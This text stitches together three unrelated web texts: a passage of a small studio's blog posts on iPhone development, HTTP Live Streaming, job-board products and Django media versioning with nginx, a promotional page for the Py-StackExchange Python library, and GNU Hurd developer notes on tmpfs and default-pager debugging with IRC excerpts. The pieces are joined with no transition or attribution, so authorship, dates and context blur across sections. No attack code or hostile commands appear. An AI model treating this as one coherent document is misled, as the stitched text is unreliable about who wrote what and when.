Add the ability to encrypt user data, access your network securely though a VPN and remotely manage and wipe devices, and you’ve got a pretty good case for building mobile apps which help you to do business, and that don’t give the Sys Admins a security and management headache.
I’ve only had a cursory look over the new SDK but the thing which stands out is that it really feels like a mature platform: there aren’t as many missing or restricted APIs and many of them have been massively expanded. This release will give rise to a whole host of apps just not possible before.
I can’t wait to take a closer look at the SDK in the next couple of days!
Posted: March 17th, 2010 | Author: Andrew Gleave | Filed under: iphone, mobile | Tags: iphone, mobile, services, streaming | 1 Comment »
There are many types of live streaming technology, some with wider adoption than others. Currently, the most widely used platform for streaming media is Adobe’s Flash technology, and is what sites like YouTube, BBC iPlayer and ABC.com use to stream their video content.
However, to watch the stream you need to have Flash Player installed. This isn’t a problem for typical computers – approx. 90% of all computers already have Flash installed – but if you’re an iPhone user, you’re out in the cold. Apple have been very public in their criticism of Flash, and some well-known Apple fans have claimed that it is the “leading source of application crashes on Mac OS X”.
Whether on not this is the case is beside the point, but what is interesting is the technology Apple have developed as an alternative to Flash streaming, for both the iPhone and, more generally, the web as a whole. Not only is it built on existing and well-established protocols and technology, it’s a proposed standard and headed off to the IETF for approval. The best bit of all: it’s very simple.
The technology is called HTTP Live Steaming and is fundamentally very straightforward to deploy. There’s no special / expensive kit required to deploy the stream, and instead uses standard web servers with minor modifications.
Key differences:
No streaming software required.
No extra ports have to be opened on your firewall as they do for RTSP / RTP.
Clients can make use of standard HTTP constructs like caching, load-balancing and expiry headers to optimise delivery to clients.
Only needs a standard web server. No extra modules necessary: just add the mime types to your config and you’re done.
Clients can dynamically switch between streams of different quality depending on available bandwidth. If you’re on a WiFi network you can be watching a HD-quaity video stream; move to the garden (and 3G) and it can automatically switch to a lower quality stream with no interruption.
Can support both live and VOD (Video on Demand) streams.
The stream can be encrypted. Therefore, you don’t need access restrictions on the content itself. An authorised client is served a key which enables it to decrypt the stream on the fly. If someone gets hold of the stream but don’t have a key, it’s totally useless.
For the iPhone, or any other mobile device, this is all a great win: you can be on the move, your phone dynamically switching from 3G to EDGE to WiFi as you move around, and your stream will intelligently adapt to give you the best broadcast quality with no drops or stalls. Perfect.
Actually, this is where HTTP live streaming differs from the “progressive download” model where the client incrementally downloads the content as it the stream is being watched: with a progressive download you’re stuck with whatever resolution you chose when you started watching the stream, and if your bandwidth decreases, you stream will stall.
The only real downside is that it’s currently only supported on the iPhone and Mac OS 10.6. However, I can see Apple implementing it in its Windows version of QuickTime and Google implementing it for the Android platform so this shouldn’t be a limitation for long.
Another tangible advantage for this technology is that WebKit has native support for HTTP live streams being used as the source for <video> and <audio> elements. This means you can use live streamed content in your web app as well as in native iPhone applications without the need for any external plugin.
This all adds up to a pretty attractive package, with minimum fuss on both the client and server sides.
Get in touch to find out how we can help you stream audio and video to your iPhone app.
Posted: February 20th, 2010 | Author: Andrew Gleave | Filed under: mobile | Tags: iphone, mobile, web app | 4 Comments »
Since the debut of the iPhone in 2007, mobile computing has really taken off and we’re now at the start of a trend which will shape the future of computing, and one that will likely have a greater effect on people’s day-to-day lives than the internet experience of today.
Mobile phones have had the ability to use the internet in a primitive way for 15 years or so, but it wasn’t until Apple released the iPhone SDK in 2008 and the subsequent development frenzy that ensued, that the surge in mobile internet use really began.
Today’s smartphones transcend simply retrieving email, sending SMSs and making calls and instead enable users to transform their phone in to whatever they want: a gaming machine, a sat nav, or a sleep cycle alarm clock; all with the download of an application. This shift has fundamentally altered the way consumers think about what a phone is and how they use it, so much so, that often its function as a phone becomes secondary.
The current darling of this revolution is Apple’s iPhone which currently has about 140,000 applications on its App Store, and with over 3 billion downloads is easily the most developed marketplace for mobile applications. In fact, stats gathered at the end of 2009 showed Apple captured 99.4% of the mobile application market!
Apple aren’t the only ones driving this push in to mobile application use. Google, Nokia, Palm, RIM (with their Blackberry) and Microsoft all have their own platform, all offering similar features, but all mostly incompatible.
So with apps being a hot (and potentially lucrative) market and a number of competing platforms to choose from, how do you go about developing and deploying mobile applications?
It boils down to two choices:
A native application – A native application is one which is installed and runs on the device and is developed using the device’s SDK. Native applications only run on one platform so you need to develop a different application for each platform. Once built, the app can be sold on its respective marketplace such as the App Store, Android Marketplace or Nokia’s Ovi store.
A mobile web app – A mobile app is a web-based application which runs in the browser of the device. There’s no special deployment necessary, it only requires a browser to use it. The goal is to build a web app which is usable by most, if not all, of the different types of device. However, in practice this isn’t particularity easy – yet.
Actually, if you just require a mobile version of your site, you have the option of doing nothing and hoping that your site is useable enough as it is for users browsing on their mobile device. This depends on how your site was built and the browser which is being used, so there could be a large number of users who may get a less than ideal experience.
Both web and native apps have their pros and cons and the choice often comes down to what you want the app to do, and what your users will expect.
Going Native
The Apple's App Store and Google's Android Marketplace are two of a number of outlets for native applications
Developing a native application will provide benefits in its performance and tight integration with all the device’s features and APIs. A native application will give your users the best experience by taking full advantage of the full capabilities of the device.
Advantages like :
They can use all of the device’s features such as its camera, GPS, compass, file system etc.
They can be sold through a marketplace such as the App Store or Android Marketplace
They have superior performance compared with a typical web app
Don’t necessarily need to be connected to a 3G or WiFi network to function *
They’re not running in a browser so there’s no restriction on the types of application that can be developed
*Improvements brought in with HTML5 will help web apps in some respect
Because a native app isn’t restricted to running in a browser they can do some pretty intensive things such as an augmented reality app to show you a data overlay on top of live video or full full 3D games. Neither of which would currently be possible with a web app.
But there are downsides, too:
Typically higher development cost and longer lead time.
Very little portability across platform – if you want your app to run on both the iPhone and Android it means building two separate versions.
So if you want to do anything that takes full advantage of a device’s capabilities, or do anything custom or unique, you’re likely looking at a native app. However, the issue of building and deploying to many different devices mean the overall cost can be high.
And this is where web-apps can really start to look like a great alternative: A web-based app should be able to run on any device with a browser, right?
Well, sort of.
The Mobile Web
Everything which you interact with on the internet (except the most basic of web pages) is a web app in one form or another: Facebook, Twitter, Flickr, your favourite blog – all in a broad sense are web apps.
The major advantage of web apps are that they can be used wherever you are, from any computer, via almost any browser. No downloading, no software updates and no uninstalling – just open a browser window, type the URL and hit Enter. Add that to fact that all devices have a web browser means that you have a potentially large number of users who are already familiar with how to get to and use your app.
However web development for mobile devices is still developing and it can be difficult to do things which would be straightforward in a native application. John Gruber has a great article on building iPhone Web Apps as an Alternative to the App Store which covers the topic nicely.
Even though currently it’s not possible to build a web app that will do everything a native app does, for some situations a mobile app is perfect. There’s some great work going in with jQTouch which is a tool that makes it easier to build mobile web apps for both the iPhone and Android, that look and feel more like a native application. There’s also PhoneGap, which enables a web app to be packaged up and deployed as a native application for the iPhone, Blackberry and Android and sold on their respective marketplace / store.
With these types of tools emerging, and the devices themselves becoming more powerful, it’s not long before web apps become the choice for a larger proportion of mobile applications. The fact that Apple (iPhone), Google (Android), Palm (Pre), Nokia and just announced RIM (Blackberry) are all backing the open source WebKit engine to power their web browsers, it’s a major step in getting a consistent experience across multiple devices. Knowing that an app will look and perform the same manner on all these devices is the Holy Grail of web development: write once, run anywhere.
The Webkit browser engine which powers a lot of modern smartphone browsers
Add to this HTML5 and the rapid development of browser technology and we’re closely approaching the point where we can use standard web technologies to build advanced mobile applications. In the next couple of years most, if not all, mobile platforms will have support for the following advanced features all of which will drasticly change both what web apps are capable of and what users will expect from them:
Pure web-based 3D graphics via WebGL – enabling 3D games and modelling
Standardised 2D graphics and animation – slick animation and graphics are trademarks of native applications’ rich interfaces
Standardised video and audio support – no more plugins to watch movies or listen to streaming music
Communication improvements
Geolocation support – enable the browser to access your location
Local storage and SQL databases – meaning data can be stored within the web application itself so you don’t always require an internet connection to use it. Google Apps provide this features already using Google Gears.
Manifests and offline resource caching – movies and photos are still accessible even if you go offline
The future is looking bright for mobile web app development, and as the tools and browser technology get better, development will shift from native to web-based applications. The overall trend is that the “Internet is the platform” that all applications rely on – and not just the mobile ones.
“…development for a platform is a distraction. It’s taking our eyes off the ball, and ignoring the bigger shift that’s happening beneath our feet.”
Chris Messina – Referring to the fact that we should be developing for the web rather than for a single platform.
These types of device and the market for mobile applications in general is still young and it’s going to take a while for the game to play out. Native mobile applications, with their superior performance, slickness and better capabilities are going to be the choice for demanding or cutting edge applications – at least for the forseable future – but one thing you can bank on is that the web isn’t going anywhere. The web is the inevitable platform, and that means that we’ll see huge growth in web-based apps in the coming years.
Andrew Gleave is the lead developer of iPhone and mobile apps at Red Robot Studios. Considering developing a mobile app? Contact Red Robot Studios to see how we can help.
Posted: June 9th, 2009 | Author: Andrew Gleave | Filed under: Easy Job Boards | Comments Off
Easy Job Boards, our simple–to-use hosted job board application, has just been updated and we’ve completely removed the requirement that you create an account before you are able to create a job board.
We wanted to make it as simple as possible for people to create a job board, and that means doing something about the need for you to already have an account before being able to try out the service.
We considered integrating OpenID with our registration system – which we may implement at some point – but decided that it would be far nicer if we could do away with the user having to provide any details at all.
You can now just go straight to the create a job board page, give your board a name, and that’s it – your own job board created in record time, and you haven’t even needed to give your email address!
If you decide that you want to give your job board a proper spin and publish your board and its jobs live on the internet, you can then create an account and start a 14-day free trial.
Hopefully, by leaving the requirement to register until the last moment, it helps newcomers get a feel for their job board quickly, and with minimum fuss.
Posted: March 26th, 2009 | Author: Andrew Gleave | Filed under: Easy Job Boards | Comments Off
We have just released the first major update to Easy Job Boards since its launch and have introduced a number of requested features:
Custom Themes and Styles and user-defined job roles – Enabling users to choose custom colours and themes for their board and to add custom job roles so jobs can be categorized for easy browsing and filtering.
Custom domain support – You can now specify a custom domain for a job board so if you own newyorkaccountancyjobs.com, you can now run a job board directly from that address. Or, if you already have a company website, you can use a jobs subdomain like jobs.mycompany.com
To keep up to date with the changes and improvements we’re making to Easy Job Boards, check out the Easy Job Boards blog.
Posted: January 26th, 2009 | Author: Andrew Gleave | Filed under: Djangogigs | Comments Off
Djangogigs is the primary job board for developers who use the Django web development framework and are looking for freelance or permanent work.
It was launched in September 2007 and was designed to give employers and developers a central location to list and respond to job listings, and quickly became popular within the Django community.
Since then, we’ve had about 550 gigs and nearly 800 developers submitted to the site. And even during the downturn in the job market, we’re still getting a similar number of gig submissions as last year – good news for django developers.
Since Scott and I formed Red Robot Studios last year, we wanted to take Djangogigs under the Red Robot Studios banner and take some time to add long-awaited features. Between setting up the company and releasing easyjobboards, this is the first chance we’ve had to dedicate some time to djangogigs and add some much-requested features. This is only the tip of the iceberg and we want to grow and improve the site to help fulfil the community’s needs and make it more useful to all.
New Features
Gigs can now be edited and removed
We’ve given the interface a refreshed and made it clearer and more consistent
You can now use Markdown syntax to structure gig and developer descriptions
Added dynamic address and location lookup by integrating with Google maps
Lots of internal improvements to how gigs and developers are approved and managed
We’ve also moved to a faster server and added a feedback widget to help and encourage people to get in touch.
Since we’ve integrated with the Google Maps API, the location details of gigs and developers is now in a common format which will allow us to split, cluster, map and filter listings, making it easier to find what you’re looking for. For example, we will be able to provide fine-grain control: just jobs in San Francisco, and conversely filter by continent or country.
We’ve only added initial support for this (at the country level), but we’d love to hear what you would find useful.
We have lots planned for the future, and intend to integrate parts of our easy-to-use job board application in to djangogigs in the future.
We’d especially like to hear your feedback as to what you think needs to be improved upon to make the site more useful to both developers and employers.
You can send all feedback, issues or suggestions to us at our support page along with anything else you’d like us to address.
Thanks for your support.
Andrew and Scott
The guys from Red Robot Studios
Posted: December 18th, 2008 | Author: Andrew Gleave | Filed under: Django | 1 Comment »
We try to make our sites as responsive as possible, and as part of our testing, we realised that we should do the right thing and add Expires Headers to our static media. Our web servers are configured so when a client requests an image, stylesheet or JavaScript file, it is returned along with a far-future expires header. This tells the client not to ask for that file again, but to cache it for a month or more.
Encouraging Caching with Expires Headers
Without an expires header, the client will request media files each time it loads a page. Using if-modified-since and etag headers, the server usually doesn’t return the media files, but instead returns a 304 Not Modified response. Not resending the data is good. Not having to deal with the request at all is even better – that’s what expires headers offer.
Of course, if you tell clients not to request your stylesheet again for a month, what happens when you change your stylesheet? The client won’t know and won’t get the changes. That’s pretty disastrous. What we need is a way of changing the URL when our media changes so that clients will pick up the new version.
Changing URLs when Content Changes
There are a number of ways to serve your media so you can specify far-future dates in the expires header, but still have the client pick up new versions. We refer to this as versioned media.
One common scheme is to put the modification date of the file in its URL. When the file date changes, the URL changes and clients request the new version. The URL might look something like /media/main.css?200812180930 or /media/main-2008-12-18-0930.css. The former is easier because the querystring is ignored by the web server and the file returned as normal.
Using the date is good if you want more granular per-file versioning, but it seems a little messy. We decided to use a version number in the URL instead, e.g. /media/v123/main.css. To make this work we need to put a version number in the templates and have our web server ignore the version number and just serve the file.
Versioned Media Context Processor
Typically, Django-based sites use the MEDIA_URL context processor to include external resources such as Javascript and images in to their templates. We expanded on this idea by having VERSIONED_MEDIA_URL which puts the version number in as well.
Remembering to update a version number would be error prone, so we wanted to transparently support any updates to media. We use Subversion for version control, and figured out that we could use the versioning metadata of our media directory to help us generate a unique path, which would change as the media was updated. That’s exactly what we needed, and would allow us to specify expires headers on all paths which include a version number but still ensure that users would receive new copies of files if any changed.
from django.utils.version import get_svn_revision
from django.conf import settings
VERSIONED_MEDIA_URL = None
def get_versioned_media_url():
if hasattr(settings, 'MEDIA_VERSION') and settings.MEDIA_VERSION is not None:
version = 'v%s' % settings.MEDIA_VERSION
else:
revision = get_svn_revision(settings.MEDIA_ROOT)
version = revision.replace('SVN-', 'v')
return u'%s%s/' % (settings.MEDIA_URL, version)
def versioned_media(request):
"""Adds versioned media url to the context."""
global VERSIONED_MEDIA_URL
if not VERSIONED_MEDIA_URL:
VERSIONED_MEDIA_URL = get_versioned_media_url()
return {'VERSIONED_MEDIA_URL': VERSIONED_MEDIA_URL}
You can see from the code that we’ve added a MEDIA_VERSION setting which is either manually set, or can be set by a deployment script. We make use of django’s get_svn_revision method to pick up the version number from our MEDIA_ROOT and we then append our version number to our MEDIA_URL, adding it to context as VERSIONED_MEDIA_URL.
It’s convenient to update code on your server with a simple svn up, but serving from a working copy may have security issues. Instead, we have a deployment script which updates a working copy then copies the files (excluding .svn directories) to the directories used by the web server. It finds the revision number and writes that to the settings file so our version number is still updated automatically.
Configuring Expires Headers in Nginx
Now that we have a version-specifc URL for all our media, we need to configure the webserver to add an Expires Header to any requests which are destined for a versioned URL. We use Nginx, but the theory applies to any webserver.
location /versioned-media {
internal;
expires 90d;
alias /srv/www/live/thebarbershop/site/media;
}
location /media {
rewrite /v(?:\d+)/(.*) /versioned-media/$1;
rewrite /vunknown/(.*) /media/$1;
root /srv/www/live/thebarbershop/site;
}
We configure our /media URL so that any request which matches the version string created by our context processor is forwarded to the /versioned-media path, which then applies the expires header and sets the expiry date to 90 days in the future. Any request path without a version number simply gets served without the expires header.
One drawback: committing a change means that all versioned media URLs change, not just the one for the file that changed. However, we feel this is only a small drawback given the advantages this gives for the common case of a high-traffic site with relatively infrequent changes to the base media.
When you couple adding Expires Headers with other techniques like:
you can dramatically reduce both the number and size of requests to your application, and give users a more responsive experience.
Posted: December 2nd, 2008 | Author: Andrew Gleave | Filed under: Ethos | Comments Off
When we started Red Robot Studios earlier this year, we had a couple of guiding principles we wanted to make our core philosophy:
Build great software
Keep everything simple until we know what to make complex
Let customers and the community guide the direction of the company and its products
With these principles in mind we built our first application Fuselagejobs which is based, in part, on work we did for Djangogigs last year. Fuselagejobs is comfortably lightweight at the moment and performs its core function of managing jobs listings pretty well. However, we’re very much aware that users will want more features and functionality as time goes on. Hence, the need for us to keep in touch with the community’s wants and needs.
I’ll admit it now: we’re not psychic. As we work on products for Red Robot Studios, we can’t know for sure what features people want or expect. The best we can do is to make something we think is good, and ask you for your feedback so we can learn what we did right and what we need to become better at.
So, we’ve started using Get Satisfaction as a way to gather feedback and keep in touch with our customers and the wider community. We hope to get ideas and suggestions as well as address any problems or grievances, and build products which you the community help to direct.
It’s all done “in the open” so we can be transparent and approachable instead of some faceless corporation hiding behind a website.
We will be writing frequently on our blog, and you’re more than welcome to follow us on Twitter too (Andrew and Scott).
So, if you’ve got anything you’d like to discuss, we’d love to hear from you.
Looking for a job board? Try Fuselagejobs.
|
UPDATE: 2.x support is now mainline! Please read the wiki page for important information about the update.
A warm welcome to you, traveller. You have arrived at the home of Py-StackExchange, the library definitively proven† to be the best library for using the SE API from Python. If you are still interested (and by golly, you should be) after glancing at the masterpiece below, please check the wiki on Github.
† Ahem.
About
So, what is Py-StackExchange? Well, I'm glad you asked.
It is a Python library for querying the StackExchange API from your Python applications. Integration, ahoy!
So why should you use it? After all, the SE API is sooo simple that you might think it'd be quicker to just write your own, and that it'd be faster and you wouldn't have to look at all that documentation and do all that thinking... well:
Let's start with the API coverage - what can the API do? And, more importantly, what can the library do?
Access any StackExchangesite, with just its URL! Even those that aren't online yet!
If you just can't decide which one to use, you can use StackAuthto look up the full list of sites.
Once you're online, you can view everything about users,questions,answers,badges,commentsandtags.
You can even go back in time by playing with post revisions.
StalkGenerate a detailed profile of a user's lifeHelp users by looking upevery StackExchange account they have. Every single one.
And, on any of those sites, peruse a detailed history of everything they've ever done - every edit, every comment, every time they were awarded a badge... Watch StackOverflow become the new Facebook overnight with the timelinefeature.
See how well an SE site is doing; obsessively check its site statistics.
Searchthe questions of StackExchange sites.
So, why not write your own classes to consume said pure, concentrated brilliance?
Let someone else deal with all that laborious HTTP request business... you know you want to...
All the little idiosyncratic potholes on your road to API happiness have been filled in for you. We have little elves which jump into your code and parse your JSON and your dates and your lists until every response is itself a little baby python.
URLs change 99.9% more often than the interface of this module. Fact.
It's faster than Michael Palin on a broken bicycle. It also knows about request throttling, so when it gets too fast for its own good, it applies the brakes just enough to restore order.
It loads lazily information that would take another request to fetch, meaning you never use more of your limit than you need to.
It caches requests automatically, so you need to care slightly less about writing efficient code! (new in 1.1)
Now, onto the religious advantages:
Documentation? Bah, we have naming conventions. (This feature was inspired by Rails.)
Pssst- don't tell anyone, but there is documentation too, if that's your style. (README/Wiki)
Naming conventions? Who needs them? Wehave an interactive program that writes your code for you while you look around the StackExchange site of your choice. (This feature was inspired by Jon Skeet.)
Almost-sentient, artificially intelligent programming programs? Ugh, how 20thcentury. There are metric heaps of example code available in the source repo, a small excerpt of which is presented below for your viewing pleasure.
Please note: This is not an official product of Stack Overflow Internet Services, Inc.
Code Snippet
#!/usr/bin/env python
# a hack so you can run it 'python demo/stats.py'
import sys
from stackauth import StackAuth
from stackexchange import Site, StackOverflow
user_id = 41981 if len(sys.argv) < 2 else int(sys.argv[1])
print 'StackOverflow user %d\'s accounts:' % user_id
stack_auth = StackAuth()
so = Site(StackOverflow)
accounts = stack_auth.associated(so, user_id)
reputation = {}
for account in accounts:
print ' %s: %s / %d reputation' % (account.display_name, account.on_site.name, account.reputation)
reputation[account.reputation] = account.on_site.name
print 'Most reputation on: %s' % reputation[max(reputation)]
Or how about a scrolling list of questions?
import stackexchange
so = stackexchange.StackOverflow()
for q in so.questions(pagesize=50):
print q.title
About
This is a Python library/wrapper around the StackExchange and StackAuth APIs. It provides a clean, object-oriented API for accessing the various sites.
License
The script is licensed under the Simplified BSD license. You can find the full text of the license here, but the gist of it is that:
You need to give attribution when you distribute (compiled or in source form) the library - not your application unlessyou include the library files `in the box'.
The standard "NO WARRANTY" (in caps!) is provided.
Other than that you can more or less do what you like!
Download
In the bad old days (i.e. about 2 hours before I wrote this), you had to manually install Py-StackExchange after cloning the Git repository.
You can still do this: http://github.com/lucjon/Py-StackExchange. You can also download a ZIP or TGZ file from there.
However, there is a new and improved way to get Py-StackExchange: you can install it straight from the PyPI! Just type:
~$ easy_install py-stackexchange
Also, distutils gives me fantastical benefits on the side, such as a completely original Windows installer with an all-new design. You can also find a stable source distribution on the downloads page @ Github.
Platform
The library is written in standard Python 2.6, with, as far as I am aware, no specific platform dependency. As long as your Python install has the full standard library available, it should work fine.
Python 2.6 is required for the json module. (EDIT: @ADB in the comments has noted that the SimpleJson library can be used instead. This means it works on Python 2.5 and also on the Google App Engine.)
Python 3.x is also supported.
|
15.06.12
Explored gnumach code. First I was reimplementing vm_fault_page as coroutine that returns before executing of mo_data_{unlock,request} calls to vm_fault. vm_fault had to analyse state of vm_fault_page for every page in loop and make a decision regarding further behavior (call mo_data_*, go to next page, etc.). But than I've got that this way is much worse, than doing everything in vm_fault_page (like in OSF mach), so I made a back-off and started working on clustered paging from the beginning (at least now I see clearer how things should be). At the moment I review kam's patch one more time and looked through mklinux code attentively.
8.06.12
Applied Neal's patch that reworks libpager, changed libdiskfs, tmpfs and ext2fs according to new interface. ext2fs isn't finished yet and should be reworked, but looks like I brought some bug to existing implementation and i want first to fix it and than finish rest of ext2fs. Also I pushed some code changes to hurd git repository into my branch mplaneta/gsoc12/working. Now I start working on gnumach implementation of clustered page reading. After this I'm going to implement madvise, than finish ext2fs and start porting of other translators.
14.05.12
First of all I'm going to do 2 programs. First will work as server, it will create an object and share it with second. Second will try to access to this object. This will cause page fault and kernel will refer to first program (server). This way I will be able to track how page faults are resolved and this will help me in debugging of readahead. IFR: server probably can use some of hurd's libraries, but it has to handle m_o_* RPC's on it's own. TODO: Find out how supply second program (client) with new object. NB: be sure that client will cause page fault, so that server always will be called (probably any caching should be disabled).
Finished
26.01.12
Infinite fsx on ext2fs:
Test 1. After about hour of work ext2fs breaks with such message: ext2fs.static: /home/buildd/build/chroot-sid/home/buildd/byhand/hurd/./ext2fs/pager.c:399: file_pager_write_page: Assertion 'block' failed. Fsx ended with Resource lost. There is no 'vmstat 1' log.
Test 2. Left for night. Finally got this message: ext2fs.static: /home/buildd/build/chroot-sid/home/buildd/byhand/hurd/./ext2fs/pager.c:399: file_pager_write_page: Assertion 'block' failed. vm_fault: memory_object_data_unlock failed. Fsx ended with Bus error.
Test 3. Finally got this message: ext2fs.static: /home/buildd/build/chroot-sid/home/buildd/byhand/hurd/./ext2fs/pager.c:399: file_pager_write_page: Assertion 'block' failed. memory_object_data_request(0x0, 0x0, 0x38000, 0x1000, 0x3) failed, 10000003. Fsx ended with Bus error. vmstat didn't show any leek.
The same test for tmpfs:
Test 1. The test continued about 5 hours and made 18314766 operations. Then this error message appeared:
READ BAD DATA: offset = 0x3317, size = 0x7012
OFFSET GOOD BAD RANGE
0x 8a93 0x80f8 0x82f8 0x 1
operation# (mod 256) for the bad data may be 248
LOG DUMP (18314753 total operations):
18314754(2 mod 256): WRITE 0x38c1a thru 0x3ffff (0x73e6 bytes)
18314755(3 mod 256): READ 0x92c3 thru 0x181b3 (0xeef1 bytes)
18314756(4 mod 256): WRITE 0x138c1 thru 0x1a06b (0x67ab bytes)
18314757(5 mod 256): MAPWRITE 0x2564 thru 0xbc75 (0x9712 bytes) ******WWWW
18314758(6 mod 256): MAPREAD 0x3f4e8 thru 0x3ffff (0xb18 bytes)
18314759(7 mod 256): READ 0x2946a thru 0x30213 (0x6daa bytes)
18314760(8 mod 256): MAPWRITE 0x31fe6 thru 0x3ffff (0xe01a bytes)
18314761(9 mod 256): TRUNCATE DOWN from 0x40000 to 0x145e8
18314762(10 mod 256): MAPWRITE 0xca89 thru 0x1ba74 (0xefec bytes)
18314763(11 mod 256): MAPWRITE 0xb421 thru 0x11a37 (0x6617 bytes)
18314764(12 mod 256): READ 0x9495 thru 0xaa45 (0x15b1 bytes)
18314765(13 mod 256): TRUNCATE DOWN from 0x1ba75 to 0x66cb ******WWWW
18314766(14 mod 256): READ 0x5fa5 thru 0x66ca (0x726 bytes)
vmstat has broken after about 2 hours, so no leak has been detected.
Test 2. fsx worked about 8 hours, than computer hanged. Log for last 2 hours of vmstat's work has been spoiled. So no vmstat information.
Test 3. fsx made 7904126 and than data error was occurred. It took about 2 hours, no vmstat was running.
5.01.12
UPD 26.01: All these bugs are fixed.
There left 2 bugs, I found:
Passive translator doesn't work. UPD: Seems I confused something, but now it works: $ showtrans foo /usr/bin/env LD_LIBRARY_PATH=/home/mcsim/git/hurd-build/lib tmpfs/tmpfs 10M
Writing by freed address somewhere. As workaround I set kalloc_max in mach-defpager/kalloc.c to 3, so vm_allocate is always used. UPD: Now I use another workaround (see below).
Fsx still breaks. With 11 from 12 seeds, I tested the problem was in first 4 Kb. In 12th case problem was in range between 4 Kb and 8 Kb. I find this quite odd. Usual amount of operations before fsx breaks passes 100 000. UPD: The problem seems to be fixed.
My vision of the problem in short: when user tries to access to the memory backed by tmpfs first time, kernel asks defpager to initialize memory object and sets it's request port to some value. But sometimes user directly accesses to defpager and supplies it own request port. So defpager should handle different request port, what causes errors.
TODO: pager_extend always frees old pagemap and allocates new. Consider if it is necessary.
TODO: Consider deleting of parameter "port" in function mach-defpager/default_pager.c:pager_port_list_insert since this parameter is unused
Probably pager_request shouldn't be stored because request may arrive from different kernels (or from kernel and translator), so this parameter doesn't have any sense.
24.11.11 The problem with fsx.
Here are follow operations:
Write some data at address 0x100 with size 0x20
Truncate file to size 0x80. First written data should be lost.
Write some data at address 0x200 size of 0x20. By this operation file size is increased up to 0x220.
Read data at address 0x110. Fsx expects here zeros, but in fact here is data, that was written at step 1.
When fsx tries to read data kernel calls pager with seqno_memory_object_data_request, and pager returns on step 4 zeros either with memory_object_data_provided or memory_object_data_unavailable. Before this, in default_pager_set_size memory_object_lock_request called to flush any kernel caches, that could hold data to be truncated. When I set offset to 0 and size to limit in memory_object_lock_request it appeared another error (see). Both these behaviors appear to be quite strange for me. It is quite late now, so i put these notes to not forget this and went sleep. Continue tomorrow.
5.12.11 Here is a problem with writing by address, which was freed already. It happens in function dealloc_direct in macros invalidate_block. This function is called from pager_truncate in branch when condition "if (!INDIRECT_PAGEMAP(old_size))" is true. But I didn't find why reference to freed object is kept. As workaround we can reduce kalloc_max in hurd/mach-defpager/kalloc.c to 3 to make allocator use vm_allocate always. The drawback is that allocator will allocate only multiple of vm_page_size, but this is temporary tradeoff. Till now fsx reaches operation number 14277.
6.12.11 fsx works quite long and doesn't interrupt. I've stopped at 124784. Continued. It broke at 181091.
4.01.12 I've localized the problem. It is in these lines (starting approx. at hurd/mach-defpager/default_pager.c:1177):
/* Now reduce the size of the direct map itself. We don't bother
with kalloc/kfree if it's not shrinking enough that kalloc.c
would actually use less. */
if (PAGEMAP_SIZE (new_size) <= PAGEMAP_SIZE (old_size) / 2)
{
const dp_map_t old_mapptr = pager->map;
pager->map = (dp_map_t) kalloc (PAGEMAP_SIZE (new_size));
memcpy (pager->map, old_mapptr, PAGEMAP_SIZE (old_size));
my_tag |= 20;
kfree ((char *) old_mapptr, PAGEMAP_SIZE (old_size));
}
I didn't find out yet what is wrong here exactly, but when I exclude this code memory spoiling disappears. Still breaks at 181091.
6.11.11 Reading/writing for files that fit in vm_page_size works
7.11.11 Works for any size.
TODO: During execution tmpfs hangs in random places. The most possible is variant is deadlocks,
because nothing was undertaken for thread safety.
TODO: Make tmpfs use not more space than it was allowed.
Symlinks behavior: links
8.11.11 Symlinks work.
TODO: Find out why and correct this.
This may perhaps be the standard translator shutdown-after-a-period-of-inactivity functionality? This is of course not valid in the tmpfs case, as all its state (file system content) is not stored on any non-volatile backend. Can this auto-shutdown functionality be disabled (in libdiskfs, perhaps? See
libdiskfs/init-first.c, the call toports_manage_port_operations_multithread, theglobal_timeoutparamenter (see the reference manual) (here:server_timeout). Probably this should be set to0in tmpfs to disable timing out? --tschwinge
Must be some bug:
diskfs_set_translatoris implemented innode.c, so this is supposed to work. --tschwinge
Translators vs FUSE:
Example of sane utilization of filesystem stored in RAM (Russian). Author of this article copied some resources of game "World of Tanks" to RAM-drive and game started load much faster. Although he used Windows in this article, this could be good example of benefits, which filesystem, stored in RAM, could give.
To debug tmpfs, using libraries from "$PWD"/lib and trace rpc:
settrans -ca foo /usr/bin/env LD_LIBRARY_PATH="$PWD"/lib utils/rpctrace -I /usr/share/msgids/ tmpfs/tmpfs 1M
LD_LIBRARY_PATH="$PWD"/lib gdb tmpfs/tmpfs `pidof tmpfs`
For debugging ext2fs:
settrans --create --active ramdisk0 /hurd/storeio -T copy zero:32M && \
/sbin/mkfs.ext2 -F -b 4096 ramdisk0 && \
settrans --active --orphan ramdisk0 /usr/bin/env LD_LIBRARY_PATH="$PWD"/lib utils/rpctrace -I /usr/share/msgids/ \
ext2fs/ext2fs.static ramdisk0
#define msync(...) 0
To compile fsx you may use following line:
gcc fsx-hurd.c -o fsx -Dlinux -g3 -O0
What are sequence numbers? What are they used for?
Is there any way to debug mach-defpager? When I set breakpoint to any function in it, pager never breaks.
Is that still an unresolved problem? If not, what was the problem? --tschwinge
Is it normal that defpager panics and breaks on any wrong data?
No server must ever panic (or reach any other invalid state), whichever input data it receives from untrusted sources (which may include every possible source). All input data must be checked for validity before use; anything else is a bug. --tschwinge
(10:29:11) braunr: mcsim: ln -s foo/bar foo/baz means the link name is baz in the foo directory,
and its target (relative to its directory) is foo/bar (which would mean /tmp/foo/foo/bar in canonical form)
(10:29:42) braunr: youpi: tschwinge: what did ludovic achieve ?
(10:30:06) tschwinge: mcsim: As Richard says, symlink targets are always relative to the directory they're contained in.
(10:31:26) braunr: oh ok
(10:31:27) mcsim: so, if I want to create link in cd, first I need to cd there?
(10:31:36) mcsim: in foo*
(10:31:36) braunr: mcsim: just provide the right paths
(10:32:11) braunr: $ touch foo/bar
(10:32:14) braunr: $ ln -s bar foo/baz
(10:32:32) braunr: bar
(10:32:35) braunr: baz -> bar
earlier:
<tschwinge>: 1. On every system there is a ``default pager'' (mach-defpager). That one is responsible
for all ``anonymous memory''. For example, when you do malloc(10 MiB), and then there is memory pressure,
this 10 MiB memory region is backed by the default pager, whose job then is it to provide the backing store for this.
<tschwinge>: This is what commonly would be known as a swap partition.
<tschwinge>: And this is also the way tmpfs works (as I understand it).
<tschwinge>: malloc(10 MiB) can also be mmap(MAP_ANONYMOUS, 10 MIB); that's the same, essentially.
<tschwinge>: Now, for ext2fs or any other disk-based file system, this is different:
<tschwinge>: The ext2fs translator implements its own backing store, namely it accesses the disk for storing
changed file content, or to read in data from disk if a new file is opened.
...
(10:36:14) mcsim: who else uses defpager besides tmpfs and kernel?
(10:36:27) braunr: normally, nothing directly
